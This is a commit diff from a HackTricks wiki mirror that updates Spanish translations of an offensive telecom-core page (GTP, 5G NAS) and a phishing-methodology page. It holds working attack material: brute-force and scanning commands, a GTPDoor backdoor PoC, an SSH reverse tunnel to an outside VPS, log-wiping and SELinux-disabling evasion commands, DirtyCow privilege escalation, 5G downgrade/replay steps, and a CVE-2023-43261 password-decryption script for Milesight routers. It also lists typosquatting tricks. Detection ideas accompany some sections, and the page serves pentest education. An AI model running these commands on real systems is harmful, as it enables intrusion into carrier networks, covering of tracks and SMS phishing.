mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/generic-methodologies-and-resources/phishing-method
This commit is contained in:
		
							parent
							
								
									e8070e84d5
								
							
						
					
					
						commit
						d1f02b9691
					
				| @ -3,25 +3,25 @@ | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| > [!NOTE] | ||||
| > Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones.  Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**.  The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes. | ||||
| > Los protocolos del core móvil (GPRS Tunnelling Protocol – GTP) a menudo atraviesan dorsales de roaming GRX/IPX semi-confiables. Debido a que viajan sobre UDP sin casi ninguna autenticación, **cualquier punto de apoyo dentro del perímetro de un operador puede normalmente alcanzar directamente los planos de señalización del core**. Las siguientes notas recopilan trucos ofensivos observados en la naturaleza contra SGSN/GGSN, PGW/SGW and other EPC nodes. | ||||
| 
 | ||||
| ## 1. Recon & Initial Access | ||||
| 
 | ||||
| ### 1.1  Cuentas OSS / NE por defecto | ||||
| Un conjunto sorprendentemente grande de elementos de red de fabricantes se entrega con usuarios SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  Una wordlist dedicada aumenta dramáticamente el éxito del brute-force: | ||||
| ### 1.1  Default OSS / NE Accounts | ||||
| Un número sorprendentemente grande de elementos de red de proveedores incluyen usuarios SSH/Telnet codificados como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  Una wordlist dedicada incrementa drásticamente el éxito del brute-force: | ||||
| ```bash | ||||
| hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt | ||||
| ``` | ||||
| Si el dispositivo expone solo una management VRF, realiza un pivot a través de un jump host primero (ver sección «SGSN Emu Tunnel» más abajo). | ||||
| Si el dispositivo expone solo un VRF de gestión, realiza primero un pivot a través de un jump host (ver sección «SGSN Emu Tunnel» más abajo). | ||||
| 
 | ||||
| ### 1.2  Descubrimiento de hosts dentro de GRX/IPX | ||||
| La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP integradas `gtpv1` para mapear rápidamente los listeners GTP-C: | ||||
| ### 1.2  Detección de hosts dentro de GRX/IPX | ||||
| La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP `gtpv1` integradas para mapear rápidamente los listeners GTP-C: | ||||
| ```bash | ||||
| masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 | ||||
| ``` | ||||
| ## 2. Enumeración de suscriptores – `cordscan` | ||||
| 
 | ||||
| La siguiente herramienta en Go crea paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** que actualmente sirve el IMSI consultado y, a veces, el PLMN visitado del suscriptor. | ||||
| La siguiente herramienta en Go crea paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** actual que está sirviendo al IMSI consultado y, a veces, el PLMN visitado por el suscriptor. | ||||
| ```bash | ||||
| # Build | ||||
| GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan | ||||
| @ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan | ||||
| # Usage (typical): | ||||
| ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap | ||||
| ``` | ||||
| Opciones clave: | ||||
| Flags clave: | ||||
| - `--imsi` IMSI del abonado objetivo | ||||
| - `--oper` Home / HNI (MCC+MNC) | ||||
| - `-w`      Escribir paquetes raw en pcap | ||||
| - `--oper` Operador / HNI (MCC+MNC) | ||||
| - `-w`      Escribe paquetes sin procesar a pcap | ||||
| 
 | ||||
| Las constantes importantes dentro del binario se pueden parchear para ampliar los escaneos: | ||||
| Constantes importantes dentro del binario pueden parchearse para ampliar los escaneos: | ||||
| ``` | ||||
| pingtimeout       = 3   // seconds before giving up | ||||
| pco               = 0x218080 | ||||
| common_tcp_ports  = "22,23,80,443,8080" | ||||
| ``` | ||||
| ## 3. Code Execution over GTP – `GTPDoor` | ||||
| ## 3. Ejecución de código sobre GTP – `GTPDoor` | ||||
| 
 | ||||
| `GTPDoor` es un pequeño servicio ELF que **se liga a UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la payload comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltran dentro de mensajes **Echo Response** para que nunca se cree una sesión saliente. | ||||
| `GTPDoor` es un pequeño servicio ELF que **escucha en UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltran dentro de mensajes **Echo Response** de modo que nunca se crea una sesión saliente. | ||||
| 
 | ||||
| Paquete PoC mínimo (Python): | ||||
| ```python | ||||
| @ -54,22 +54,22 @@ print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) | ||||
| ``` | ||||
| Detección: | ||||
| * cualquier host que envíe **unbalanced Echo Requests** a las IPs de SGSN | ||||
| * el flag de versión de GTP establecido en 1 mientras message type = 1 (Echo) – desviación respecto a la especificación | ||||
| * bandera de versión GTP establecida en 1 mientras el tipo de mensaje = 1 (Echo) – desviación respecto a la especificación | ||||
| 
 | ||||
| ## 4. Pivoting a través del Core | ||||
| ## 4. Pivoting a través del núcleo | ||||
| 
 | ||||
| ### 4.1  `sgsnemu` + SOCKS5 | ||||
| `OsmoGGSN` incluye un emulador SGSN capaz de **establecer un PDP context hacia un GGSN/PGW real**.  Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el roaming peer. | ||||
| `OsmoGGSN` incluye un emulador de SGSN capaz de **establecer un contexto PDP hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el peer de roaming. | ||||
| ```bash | ||||
| sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ | ||||
| -APN internet -c 1 -d | ||||
| ip route add 172.16.0.0/12 dev tun0 | ||||
| microsocks -p 1080 &   # internal SOCKS proxy | ||||
| ``` | ||||
| Con un correcto firewall hair-pinning, este túnel evita VLANs de solo señalización y te sitúa directamente en el **data plane**. | ||||
| Con un adecuado firewall hair-pinning, este túnel elude las VLANs solo de señalización y te sitúa directamente en el **data plane**. | ||||
| 
 | ||||
| ### 4.2  SSH Reverse Tunnel over Port 53 | ||||
| DNS suele estar casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS escuchando en :53 y vuelve más tarde desde casa: | ||||
| DNS está casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS que escuche en :53 y vuelve más tarde desde casa: | ||||
| ```bash | ||||
| ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com | ||||
| ``` | ||||
| @ -78,14 +78,14 @@ Comprueba que `GatewayPorts yes` esté habilitado en el VPS. | ||||
| ## 5. Canales encubiertos | ||||
| 
 | ||||
| | Canal | Transporte | Decodificación | Notas | | ||||
| |-------|-----------|---------------|-------| | ||||
| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | escucha puramente pasiva, sin tráfico saliente | | ||||
| | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | vigila el subdominio `*.nodep` | | ||||
| | GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC en IE privada | se mezcla con el tráfico legítimo de GTP-C | | ||||
| |---------|-----------|----------|-------| | ||||
| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clave de 4 bytes + fragmentos de 14 bytes (XOR) | oyente puramente pasivo, sin tráfico saliente | | ||||
| | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificado en octetos del registro A | vigila el subdominio `*.nodep` | | ||||
| | GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC en IE privado | se mezcla con el tráfico legítimo de GTP-C | | ||||
| 
 | ||||
| Todos los implants implementan watchdogs que **timestomp** sus binarios y re-spawn si se bloquean. | ||||
| Todos los implants implementan watchdogs que **timestomp** sus binaries y se re-spawn si crashed. | ||||
| 
 | ||||
| ## 6. Hoja de trucos de evasión de defensas | ||||
| ## 6. Hoja de referencia de evasión de defensas | ||||
| ```bash | ||||
| # Remove attacker IPs from wtmp | ||||
| utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp | ||||
| @ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm    # appears as [kworker/1] | ||||
| touch -r /usr/bin/time /usr/bin/chargen   # timestomp | ||||
| setenforce 0                              # disable SELinux | ||||
| ``` | ||||
| ## 7. Escalada de privilegios en NE heredado | ||||
| ## 7. Privilege Escalation en NE heredados | ||||
| ```bash | ||||
| # DirtyCow – CVE-2016-5195 | ||||
| gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd | ||||
| @ -118,61 +118,61 @@ rm -f /tmp/sh ; history -c | ||||
| ``` | ||||
| ## 8. Caja de herramientas | ||||
| 
 | ||||
| * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – herramientas personalizadas descritas en secciones anteriores. | ||||
| * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling descrito en secciones previas. | ||||
| * `FScan` : barridos TCP en intranet (`fscan -p 22,80,443 10.0.0.0/24`) | ||||
| * `Responder` : LLMNR/NBT-NS rogue WPAD | ||||
| * `Microsocks` + `ProxyChains` : pivot ligero SOCKS5 | ||||
| * `FRP` (≥0.37) : NAT traversal / asset bridging | ||||
| 
 | ||||
| ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay | ||||
| ## 9. Ataques de registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay | ||||
| 
 | ||||
| El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular el tráfico N2 (p. ej., on-path dentro del core, rogue gNB, o en un testbed). | ||||
| El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular tráfico N2 (por ejemplo, on-path dentro del core, gNB rogue, o en un testbed). | ||||
| 
 | ||||
| Flujo de registro (simplificado): | ||||
| - Registration Request: UE envía SUCI (SUPI encrypted with the home-network public key) y capabilities. | ||||
| - Authentication: AMF/AUSF envían RAND/AUTN; UE responde con RES*. | ||||
| - Security Mode Command/Complete: se negocian y activan la integridad y el cifrado NAS. | ||||
| - PDU Session Establishment: configuración IP/QoS. | ||||
| Registration flow (simplified): | ||||
| - Registration Request: UE sends SUCI (encrypted SUPI) and capabilities. | ||||
| - Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*. | ||||
| - Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated. | ||||
| - PDU Session Establishment: IP/QoS setup. | ||||
| 
 | ||||
| Consejos para laboratorio (no-RF): | ||||
| - Core: el despliegue por defecto de Open5GS es suficiente para reproducir los flujos. | ||||
| Consejos de configuración de laboratorio (no-RF): | ||||
| - Core: Open5GS con despliegue por defecto es suficiente para reproducir los flujos. | ||||
| - UE: simulador o UE de prueba; decodificar con Wireshark. | ||||
| - Herramientas activas: 5GReplay (captura/modifica/repite NAS dentro de NGAP), Sni5Gect (sniff/patch/inject NAS en vuelo sin levantar un rogue gNB completo). | ||||
| - Filtros útiles en Wireshark: | ||||
| - Herramientas activas: 5GReplay (capture/modify/replay NAS dentro de NGAP), Sni5Gect (sniff/patch/inject NAS al vuelo sin levantar un gNB rogue completo). | ||||
| - Filtros de visualización útiles en Wireshark: | ||||
| - ngap.procedure_code == 15 (InitialUEMessage) | ||||
| - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) | ||||
| 
 | ||||
| ### 9.1 Privacidad de identificadores: fallos de SUCI que exponen SUPI/IMSI | ||||
| Esperado: UE/USIM debe transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar un SUPI/IMSI en texto claro en el Registration Request indica un defecto de privacidad que permite seguimiento persistente del suscriptor. | ||||
| Esperado: UE/USIM debe transmitir SUCI (SUPI cifrado con la clave pública del home-network). Encontrar un SUPI/IMSI en texto claro en el Registration Request indica un defecto de privacidad que permite tracking persistente del abonado. | ||||
| 
 | ||||
| Cómo probar: | ||||
| - Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE. | ||||
| - Chequeos rápidos en Wireshark: | ||||
| - Comprobaciones rápidas en Wireshark: | ||||
| - Debe decodificarse como SUCI, no como IMSI. | ||||
| - Ejemplos de filtros: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` debería existir; la ausencia junto con la presencia de `imsi` indica exposición. | ||||
| 
 | ||||
| Qué recoger: | ||||
| - MCC/MNC/MSIN si están expuestos; registrar por UE y rastrear a lo largo del tiempo/ubicaciones. | ||||
| Qué recopilar: | ||||
| - MCC/MNC/MSIN si están expuestos; registrar por-UE y rastrear a lo largo del tiempo/ubicaciones. | ||||
| 
 | ||||
| Mitigación: | ||||
| - Forzar UEs/USIMs que usen solo SUCI; alertar ante cualquier IMSI/SUPI en el NAS inicial. | ||||
| - Forzar UEs/USIMs que usen solo SUCI; alertar ante cualquier IMSI/SUPI en NAS inicial. | ||||
| 
 | ||||
| ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) | ||||
| ### 9.2 Bidding-down de capacidades a algoritmos nulos (EEA0/EIA0) | ||||
| Contexto: | ||||
| - El UE anuncia los EEA (encryption) y EIA (integrity) soportados en el IE UE Security Capability del Registration Request. | ||||
| - Mapeos comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos nulos. | ||||
| - El UE anuncia EEA (cifrado) y EIA (integridad) soportados en el UE Security Capability IE del Registration Request. | ||||
| - Mapas comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos nulos. | ||||
| 
 | ||||
| Problema: | ||||
| - Debido a que el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capability para forzar la selección de EEA0/EIA0 más tarde durante Security Mode Command. Algunas stacks permiten erróneamente algoritmos nulos fuera de servicios de emergencia. | ||||
| - Dado que el Registration Request no tiene protección de integridad, un atacante on-path puede limpiar bits de capacidad para forzar la selección de EEA0/EIA0 más tarde durante Security Mode Command. Algunos stacks permiten incorrectamente algoritmos nulos fuera de servicios de emergencia. | ||||
| 
 | ||||
| Pasos ofensivos: | ||||
| - Interceptar InitialUEMessage y modificar el NAS UE Security Capability para anunciar solo EEA0/EIA0. | ||||
| - Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capability antes de reenviar. | ||||
| - Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capacidad antes de reenviarlo. | ||||
| - Observar si el AMF acepta cifrados/integridad nulos y completa Security Mode con EEA0/EIA0. | ||||
| 
 | ||||
| Verificación/visibilidad: | ||||
| - En Wireshark, confirmar los algoritmos seleccionados después de Security Mode Command/Complete. | ||||
| - Ejemplo de salida pasiva de sniffer: | ||||
| - Ejemplo de salida de un sniffer pasivo: | ||||
| ``` | ||||
| Encyrption in use [EEA0] | ||||
| Integrity in use [EIA0, EIA1, EIA2] | ||||
| @ -180,12 +180,12 @@ SUPI (MCC+MNC+MSIN) 9997000000001 | ||||
| ``` | ||||
| Mitigaciones (obligatorias): | ||||
| - Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde esté estrictamente mandatado (p. ej., llamadas de emergencia). | ||||
| - Preferir aplicar EEA2/EIA2 como mínimo; registrar y alertar ante cualquier NAS security context que negocie algoritmos null. | ||||
| - Preferir aplicar EEA2/EIA2 como mínimo; registrar y generar alarmas ante cualquier contexto de seguridad NAS que negocie algoritmos null. | ||||
| 
 | ||||
| ### 9.3 Replay de la initial Registration Request (pre-security NAS) | ||||
| Debido a que el NAS inicial carece de integridad y frescura, el InitialUEMessage+Registration Request capturado puede ser replayed al AMF. | ||||
| ### 9.3 Replay de initial Registration Request (pre-security NAS) | ||||
| Debido a que initial NAS carece de integridad y freshness, un InitialUEMessage+Registration Request capturado puede ser replayed al AMF. | ||||
| 
 | ||||
| Regla PoC para 5GReplay para reenviar replays coincidentes: | ||||
| PoC rule para 5GReplay para reenviar replays coincidentes: | ||||
| ```xml | ||||
| <beginning> | ||||
| <property value="THEN" | ||||
| @ -227,15 +227,74 @@ Mitigations: | ||||
| - Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage. | ||||
| 
 | ||||
| --- | ||||
| ## Detection Ideas | ||||
| 1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**. | ||||
| 2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs. | ||||
| 3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons. | ||||
| 4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**. | ||||
| 5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal). | ||||
| 6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts. | ||||
| 
 | ||||
| ## References | ||||
| ## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261) | ||||
| 
 | ||||
| Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at `/cgi`. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS. | ||||
| 
 | ||||
| Typical unauthenticated requests (same structure for inbox/outbox): | ||||
| ```http | ||||
| POST /cgi HTTP/1.1 | ||||
| Host: <router> | ||||
| Content-Type: application/json | ||||
| 
 | ||||
| { "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } | ||||
| ``` | ||||
| 
 | ||||
| ```json | ||||
| { "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } | ||||
| ``` | ||||
| Las respuestas incluyen campos como `timestamp`, `content`, `phone_number` (E.164) y `status` (`success` o `failed`). Los envíos `failed` repetidos al mismo número suelen ser “capability checks” del atacante para validar que un router/SIM puede entregar antes de un envío masivo. | ||||
| 
 | ||||
| Ejemplo de curl para exfiltrar metadatos de SMS: | ||||
| ```bash | ||||
| curl -sk -X POST http://<router>/cgi \ | ||||
| -H 'Content-Type: application/json' \ | ||||
| -d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' | ||||
| ``` | ||||
| Notas sobre auth artifacts: | ||||
| - Parte del tráfico puede incluir una auth cookie, pero una gran fracción de dispositivos expuestos responde sin ninguna autenticación a `query_inbox`/`query_outbox` cuando la interfaz de gestión está expuesta a Internet. | ||||
| - En entornos que requieren auth, credenciales previamente-leaked (ver abajo) restauran el acceso. | ||||
| 
 | ||||
| Credential recovery path – CVE-2023-43261: | ||||
| - Familias afectadas: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). | ||||
| - Problema: los logs servidos por web (p. ej., `httpd.log`) son accesibles sin autenticación bajo `/lang/log/` y contienen eventos de admin login con la contraseña cifrada usando una hardcoded AES key/IV presente en JavaScript del lado del cliente. | ||||
| - Acceso práctico y decrypt: | ||||
| ```bash | ||||
| curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p' | ||||
| # Look for entries like: {"username":"admin","password":"<base64>"} | ||||
| ``` | ||||
| Python mínimo para descifrar leaked passwords (AES-128-CBC, hardcoded key/IV): | ||||
| ```python | ||||
| import base64 | ||||
| from Crypto.Cipher import AES | ||||
| from Crypto.Util.Padding import unpad | ||||
| KEY=b'1111111111111111'; IV=b'2222222222222222' | ||||
| enc_b64='...'  # value from httpd.log | ||||
| print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) | ||||
| ``` | ||||
| Ideas de hunting y detección (red): | ||||
| - Alerta sobre `POST /cgi` no autenticados cuyo cuerpo JSON contiene `base`/`function` establecido en `query_inbox` o `query_outbox`. | ||||
| - Rastrear ráfagas repetidas de `POST /cgi` seguidas por entradas `status":"failed"` a través de muchos números únicos desde la misma IP de origen (pruebas de capacidad). | ||||
| - Inventariar routers Milesight expuestos a Internet; restringir la gestión a VPN; deshabilitar funciones SMS salvo que sean necesarias; actualizar a ≥ v35.3.0.7; rotar credenciales y revisar los registros SMS por envíos desconocidos. | ||||
| 
 | ||||
| Shodan/OSINT pivots (ejemplos vistos en la naturaleza): | ||||
| - `http.html:"rt_title"` coincide con paneles de router Milesight. | ||||
| - Google dorking para registros expuestos: `"/lang/log/system" ext:log`. | ||||
| 
 | ||||
| Impacto operacional: usar SIMs de operadora legítimas dentro de routers proporciona muy alta entregabilidad/credibilidad de SMS para phishing, mientras que la exposición de inbox/outbox leaks metadata sensible a escala. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Ideas de detección | ||||
| 1. **Cualquier dispositivo distinto de un SGSN/GGSN que establezca Create PDP Context Requests**. | ||||
| 2. **Puertos no estándar (53, 80, 443) recibiendo SSH handshakes** desde IPs internas. | ||||
| 3. **Solicitudes Echo frecuentes sin correspondientes Echo Responses** – podrían indicar balizas GTPDoor. | ||||
| 4. **Alta tasa de tráfico ICMP echo-reply con campos identifier/sequence grandes y distintos de cero**. | ||||
| 5. 5G: **InitialUEMessage que transporta NAS Registration Requests repetidos desde endpoints idénticos** (señal de replay). | ||||
| 6. 5G: **NAS Security Mode negociando EEA0/EIA0** fuera de contextos de emergencia. | ||||
| 
 | ||||
| ## Referencias | ||||
| 
 | ||||
| - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) | ||||
| - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) | ||||
| @ -243,5 +302,8 @@ Mitigations: | ||||
| - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) | ||||
| - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS | ||||
| - 3GPP TS 33.501 – Security architecture and procedures for 5G System | ||||
| - [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) | ||||
| - [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) | ||||
| - [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -1,13 +1,13 @@ | ||||
| # Phishing Methodology | ||||
| # Metodología de Phishing | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## Metodología | ||||
| 
 | ||||
| 1. Recon de la víctima | ||||
| 1. Selecciona el **dominio de la víctima**. | ||||
| 2. Realiza una enumeración web básica **buscando portales de inicio de sesión** usados por la víctima y **decide** cuál vas a **suplantar**. | ||||
| 3. Usa **OSINT** para **encontrar correos electrónicos**. | ||||
| 1. Recon a la víctima | ||||
| 1. Select the **victim domain**. | ||||
| 2. Realiza una enumeración web básica **buscando portales de acceso** usados por la víctima y **decide** cuál vas a **suplantar**. | ||||
| 3. Usa algo de **OSINT** para **encontrar correos electrónicos**. | ||||
| 2. Prepara el entorno | ||||
| 1. **Compra el dominio** que vas a usar para la evaluación de phishing | ||||
| 2. **Configura los registros** relacionados con el servicio de correo (SPF, DMARC, DKIM, rDNS) | ||||
| @ -21,30 +21,30 @@ | ||||
| 
 | ||||
| ### Domain Name Variation Techniques | ||||
| 
 | ||||
| - **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com). | ||||
| - **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com). | ||||
| - **New TLD**: Same domain using a **new TLD** (e.g., zelster.org) | ||||
| - **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com). | ||||
| - **Keyword**: El nombre de dominio **contiene** una **keyword** importante del dominio original (e.g., zelster.com-management.com). | ||||
| - **hypened subdomain**: Cambia el **punto por un guion** de un subdominio (e.g., www-zelster.com). | ||||
| - **New TLD**: Mismo dominio usando un **nuevo TLD** (e.g., zelster.org) | ||||
| - **Homoglyph**: Sustituye una letra en el nombre de dominio por **letras que se parecen** (e.g., zelfser.com). | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| homograph-attacks.md | ||||
| {{#endref}} | ||||
| - **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com). | ||||
| - **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com). | ||||
| - **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com). | ||||
| - **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com). | ||||
| - **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com). | ||||
| - **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com). | ||||
| - **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com). | ||||
| - **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com) | ||||
| - **Transposition:** Intercambia dos letras dentro del nombre de dominio (e.g., zelsetr.com). | ||||
| - **Singularization/Pluralization**: Agrega o elimina una “s” al final del nombre de dominio (e.g., zeltsers.com). | ||||
| - **Omission**: Elimina una de las letras del nombre de dominio (e.g., zelser.com). | ||||
| - **Repetition:** Repite una de las letras en el nombre de dominio (e.g., zeltsser.com). | ||||
| - **Replacement**: Como homoglyph pero menos sigiloso. Sustituye una de las letras en el nombre de dominio, quizá por una letra cercana a la original en el teclado (e.g, zektser.com). | ||||
| - **Subdomained**: Introduce un **punto** dentro del nombre de dominio (e.g., ze.lster.com). | ||||
| - **Insertion**: Inserta una letra en el nombre de dominio (e.g., zerltser.com). | ||||
| - **Missing dot**: Añade la TLD al nombre de dominio sin el punto. (e.g., zelstercom.com) | ||||
| 
 | ||||
| **Automatic Tools** | ||||
| **Herramientas automáticas** | ||||
| 
 | ||||
| - [**dnstwist**](https://github.com/elceef/dnstwist) | ||||
| - [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) | ||||
| 
 | ||||
| **Websites** | ||||
| **Sitios web** | ||||
| 
 | ||||
| - [https://dnstwist.it/](https://dnstwist.it) | ||||
| - [https://dnstwister.report/](https://dnstwister.report) | ||||
| @ -52,25 +52,25 @@ homograph-attacks.md | ||||
| 
 | ||||
| ### Bitflipping | ||||
| 
 | ||||
| There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors. | ||||
| Existe la **posibilidad de que uno o varios bits almacenados o en comunicación se inviertan automáticamente** debido a varios factores como las erupciones solares, los rayos cósmicos o errores de hardware. | ||||
| 
 | ||||
| When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested. | ||||
| Cuando este concepto se **aplica a las solicitudes DNS**, es posible que el **dominio recibido por el servidor DNS** no sea el mismo que el solicitado inicialmente. | ||||
| 
 | ||||
| For example, a single bit modification in the domain "windows.com" can change it to "windnws.com." | ||||
| Por ejemplo, una modificación de un solo bit en el dominio "windows.com" puede cambiarlo a "windnws.com". | ||||
| 
 | ||||
| Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure. | ||||
| Los atacantes pueden **aprovechar esto registrando múltiples dominios con bit-flipping** que sean similares al dominio de la víctima. Su intención es redirigir a usuarios legítimos a su propia infraestructura. | ||||
| 
 | ||||
| For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) | ||||
| Para más información lee [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) | ||||
| 
 | ||||
| ### Buy a trusted domain | ||||
| ### Comprar un dominio confiable | ||||
| 
 | ||||
| You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\ | ||||
| Para asegurarte de que el dominio expirado que vas a comprar **ya tenga buen SEO** puedes comprobar cómo está categorizado en: | ||||
| Puedes buscar en [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio expirado que puedas usar.\ | ||||
| Para asegurarte de que el dominio expirado que vas a comprar **ya tiene un buen SEO** puedes comprobar cómo está categorizado en: | ||||
| 
 | ||||
